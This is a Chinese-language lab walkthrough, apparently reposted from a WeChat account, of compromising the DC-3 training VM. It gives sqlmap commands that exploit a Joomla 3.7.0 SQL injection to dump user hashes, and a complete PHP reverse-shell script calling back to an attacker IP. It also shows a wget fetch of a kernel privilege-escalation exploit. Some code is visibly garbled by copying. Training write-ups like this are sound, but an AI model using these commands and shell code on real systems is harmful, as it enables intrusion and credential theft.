【渗透测试】DC-3提权靶机综合渗透教程

admin 2024年10月27日22:05:54评论22 views字数 6765阅读22分33秒阅读模式
~ 不用见日月,你就是星辰 ~

星河飞雪网络安全人才培养计划,绝对零区,公益免费教学!

【渗透测试】16个实用谷歌浏览器插件分享

靶场下载地址:

官网:
http://www.five86.com/downloads/DC-3-2.zip

百度网盘:
https://pan.baidu.com/s/1nK2rG5Wuh4MDZmsT8tvYkw?pwd=4pa2 

刚进去的时候会遇到个错误

【渗透测试】DC-3提权靶机综合渗透教程
image-20241027134644738

编辑配置项

【渗透测试】DC-3提权靶机综合渗透教程
image-20241027134737705

开启nat模式

【渗透测试】DC-3提权靶机综合渗透教程
image-20240918145420442

开机

【渗透测试】DC-3提权靶机综合渗透教程
image-20241026133822223

开始渗透,主机发现

【渗透测试】DC-3提权靶机综合渗透教程
image-20241026135337480

端口快速扫描

【渗透测试】DC-3提权靶机综合渗透教程
image-20241026135300504

80端口服务,并快速找到编程语言为PHP语言

【渗透测试】DC-3提权靶机综合渗透教程
image-20241026135705618

御剑扫描

【渗透测试】DC-3提权靶机综合渗透教程
image-20241026140153946

后台界面

【渗透测试】DC-3提权靶机综合渗透教程
image-20241026140342830

安装 joomscan 这个工具

【渗透测试】DC-3提权靶机综合渗透教程
image-20241026171913180

检查

【渗透测试】DC-3提权靶机综合渗透教程
image-20241026171949298

检索这个joomla版本信息是3.7.0

joomscan -u 192.168.60.131
【渗透测试】DC-3提权靶机综合渗透教程
image-20241027124459668

使用 searchsploit 来搜索漏洞信息

【渗透测试】DC-3提权靶机综合渗透教程
image-20241026212942736

搜索所有 joomla 指定版本的漏洞信息,用法,中间添加一个空格就可以了。

【渗透测试】DC-3提权靶机综合渗透教程
image-20241026213331135

再精确,我要找到 joomla 3.7.0 版本的sql注入漏洞

【渗透测试】DC-3提权靶机综合渗透教程
image-20241026213447048

我们可以利用-p选项,我们可以获得有关目标漏洞的更多信息,并将该漏洞的完整路径复制到剪切板上。

searchsploit 42033
searchsploit -p 42033
【渗透测试】DC-3提权靶机综合渗透教程
image-20241026214945560

我们查看这个内容

【渗透测试】DC-3提权靶机综合渗透教程
image-20241026214852755

复制上图的payload,并把localhost本地地址替换成靶场地址,利用sqlmap工具

sqlmap -u "http://192.168.60.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] --current-user

这个时候就得到了数据库信息,并使用 --current-user 获取当前数据库用户,可以看到是root用户

【渗透测试】DC-3提权靶机综合渗透教程
image-20241026220730291

指定数据库为当前网站的数据库,枚举数据库所有表

sqlmap -u "http://192.168.60.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb --tables
【渗透测试】DC-3提权靶机综合渗透教程
image-20241027004716244

指定表"#__users",并列出所有的列名

sqlmap -u "http://192.168.60.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb -T '#__users' --columns
【渗透测试】DC-3提权靶机综合渗透教程
image-20241027005401815

我只要usernamepassword两个字段

sqlmap -u "http://192.168.60.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb -T '#__users' -C username,password --dump
【渗透测试】DC-3提权靶机综合渗透教程
image-20241027005554431

创建一个文件,存储好hash后的密文,使用  john 来爆破一下,提示我们使用--show参数,来显示所有可能的密文

【渗透测试】DC-3提权靶机综合渗透教程
image-20241027011152257

得到 admin的密码snoopy,登录后台

【渗透测试】DC-3提权靶机综合渗透教程
image-20241027015313432

添加一个php脚本,用于反弹shell

【渗透测试】DC-3提权靶机综合渗透教程
image-20241027015515753

我们利用kali自带的webshell工具进行反弹

【渗透测试】DC-3提权靶机综合渗透教程
image-20241027103804358

修改一下这个文件的两个参数,然后全部复制到这个script.php

【渗透测试】DC-3提权靶机综合渗透教程
image-20241027111332254

源码如下

<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.60.132';  // 你攻击机的IP地址
$port = 1234;       // 攻击机nc监听的地址
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
 // Fork and have the parent process exit
 $pid = pcntl_fork();
 
 if ($pid == -1) {
  printit("ERROR: Can't fork");
  exit(1);
 }
 
 if ($pid) {
  exit(0);  // Parent exits
 }

 // Make the current process a session leader
 // Will only succeed if we forked
 if (posix_setsid() == -1) {
  printit("Error: Can't setsid()");
  exit(1);
 }

 $daemon = 1;
else {
 printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
 printit("$errstr ($errno)");
 exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe""r"),  // stdin is a pipe that the child will read from
   1 => array("pipe""w"),  // stdout is a pipe that the child will write to
   2 => array("pipe""w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
 printit("ERROR: Can't spawn shell");
 exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
 // Check for end of TCP connection
 if (feof($sock)) {
  printit("ERROR: Shell connection terminated");
  break;
 }

 // Check for end of STDOUT
 if (feof($pipes[1])) {
  printit("ERROR: Shell process terminated");
  break;
 }

 // Wait until a command is end down $sock, or some
 // command output is available on STDOUT or STDERR
 $read_a = array($sock, $pipes[1], $pipes[2]);
 $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

 // If we can read from the TCP socket, send
 // data to process's STDIN
 if (in_array($sock, $read_a)) {
  if ($debug) printit("SOCK READ");
  $input = fread($sock, $chunk_size);
  if ($debug) printit("SOCK: $input");
  fwrite($pipes[0], $input);
 }

 // If we can read from the process's STDOUT
 // send data down tcp connection
 if (in_array($pipes[1], $read_a)) {
  if ($debug) printit("STDOUT READ");
  $input = fread($pipes[1], $chunk_size);
  if ($debug) printit("STDOUT: $input");
  fwrite($sock, $input);
 }

 // If we can read from the process's STDERR
 // send data down tcp connection
 if (in_array($pipes[2], $read_a)) {
  if ($debug) printit("STDERR READ");
  $input = fread($pipes[2], $chunk_size);
  if ($debug) printit("STDERR: $input");
  fwrite($sock, $input);
 }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
 if (!$daemon) {
  print "$stringn";
 }
}

?> 

粘贴到这个php木马中

【渗透测试】DC-3提权靶机综合渗透教程
image-20241027111701587

kali开启监听

【渗透测试】DC-3提权靶机综合渗透教程
image-20241027111943430

默认情况下的模板位置是在 /templates 目录下

【渗透测试】DC-3提权靶机综合渗透教程
image-20241027101917304

当前模板名称为 beez3

【渗透测试】DC-3提权靶机综合渗透教程
image-20241027111609846

得出脚本位置

http://192.168.60.131/templates/beez3/script.php

成功上线

【渗透测试】DC-3提权靶机综合渗透教程
image-20241027112011119

创建一个交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'
【渗透测试】DC-3提权靶机综合渗透教程
image-20241027112259653

上图可以看到不是root用户

信息收集

【渗透测试】DC-3提权靶机综合渗透教程
image-20241027112714250

两个重要文件的权限

【渗透测试】DC-3提权靶机综合渗透教程
image-20241027112842821

查看发布者信息,都没有可疑点

【渗透测试】DC-3提权靶机综合渗透教程
image-20241027113256889

那么还是一样,使用searchsploit漏洞检索

【渗透测试】DC-3提权靶机综合渗透教程
image-20241027113902961

我们需要的是提权漏洞,再添加关键字 Privilege Escalation,找到这两个

【渗透测试】DC-3提权靶机综合渗透教程
image-20241027135333735

我们用第一个4.4.x的漏洞,进行尝试

【渗透测试】DC-3提权靶机综合渗透教程
image-20241027114228148

查看这个文件可以看到漏洞的产生原因以及利用方法。

【渗透测试】DC-3提权靶机综合渗透教程
image-20241027114419054

搜索exp,有一个下载链接

【渗透测试】DC-3提权靶机综合渗透教程
image-20241027114557840

下载下来即可

【渗透测试】DC-3提权靶机综合渗透教程
image-20241027114734748

解压,并开启http请求

【渗透测试】DC-3提权靶机综合渗透教程
image-20241027120202956

复制这个文件的地址就好

http://192.168.60.132:8000/39772/exploit.tar
【渗透测试】DC-3提权靶机综合渗透教程
image-20241027120359369

靶机下载这个文件,但是提示我们没有权限

wget http://192.168.60.132:8000/39772/exploit.tar
【渗透测试】DC-3提权靶机综合渗透教程
image-20241027120914466

这个时候就要想到刚刚在网页上能创建php文件的目录了,查找刚刚创建的脚本

find / -name "script.php" 2>/dev/null
【渗透测试】DC-3提权靶机综合渗透教程
image-20241027121619894

我们在这个文件下载,下载完成

【渗透测试】DC-3提权靶机综合渗透教程
image-20241027121716615

解压到这个文件夹中

【渗透测试】DC-3提权靶机综合渗透教程
image-20241027121837257

根据这个39772的txt文件提示依次执行

【渗透测试】DC-3提权靶机综合渗透教程
image-20241027115951135

提权成功。

【渗透测试】DC-3提权靶机综合渗透教程
image-20241027122030358

成功通关!

【渗透测试】DC-3提权靶机综合渗透教程
image-20241027122114259

总结

本次靶机练习主要用到的工具是searchsploit工具,利用框架/系统已知的漏洞进行渗透测试,从而获取到系统的最高权限。

往期推荐

【kali笔记】MSF内网渗透,免杀过360

一款开源持续更新的后渗透免杀框架

从零开始学SQL注入(sql十大注入类型):技术解析与实战演练

肝了两天!PHP反序列化漏洞从入门到深入8k图文介绍,以及phar伪协议的利用

你还敢点陌生邮件链接吗,SPF机制进行邮件钓鱼

原文始发于微信公众号(泷羽Sec):【渗透测试】DC-3提权靶机综合渗透教程

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月27日22:05:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【渗透测试】DC-3提权靶机综合渗透教程https://cn-sec.com/archives/3320591.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息